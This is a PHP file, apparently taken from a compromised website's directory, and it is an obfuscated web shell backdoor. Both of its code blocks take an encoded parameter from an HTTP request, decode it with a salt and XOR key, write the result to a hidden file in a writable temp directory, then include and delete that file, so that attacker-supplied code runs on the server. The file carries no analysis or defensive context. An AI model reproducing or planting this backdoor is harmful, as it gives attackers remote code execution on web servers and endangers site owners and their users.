File: /home/vitanhod/trimate2.vitavit.com.pk/toolbar.trash.php
<?php if(in_array("re\x66", array_keys($_POST))){ $ent = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $sym = $_POST["re\x66"]; $sym = explode( '.', $sym) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; array_walk($sym, function ($v7) use (&$ptr, &$s, $salt, $lenS) { $sChar = ord($salt[$s% $lenS]); $d = ((int)$v7 - $sChar - ($s% 10)) ^ 48; $ptr.= chr($d); $s++; } ); $res = 0; do { $bind = $ent[$res] ?? null; if ($res >= count($ent)) break; if ((is_dir($bind) and is_writable($bind))) { $record = vsprintf("%s/%s", [$bind, ".itm"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $record; @unlink($record); die(); } } $res++; } while (true); }
if(count($_REQUEST) > 0 && isset($_REQUEST["\x63o\x6Dpon\x65nt"])){
$marker = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]);
$res = $_REQUEST["\x63o\x6Dpon\x65nt"];
$res = explode( '.' , $res) ;
$element = '';
$salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt7);
$n = 0;
$__tmp = $res;
while( $v5 = array_shift( $__tmp)) {$chS = ord( $salt7[$n % $sLen]);
$d = ( ( int)$v5 - $chS -( $n % 10)) ^ 84;
$element .= chr( $d);
$n++;
}
for ($item = 0, $dchunk = count($marker); $item < $dchunk; $item++) {
$data_chunk = $marker[$item];
if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) {
$factor = implode("/", [$data_chunk, ".flg"]);
$file = fopen($factor, 'w');
if ($file) {
fwrite($file, $element);
fclose($file);
include $factor;
@unlink($factor);
exit;
}
}
}
}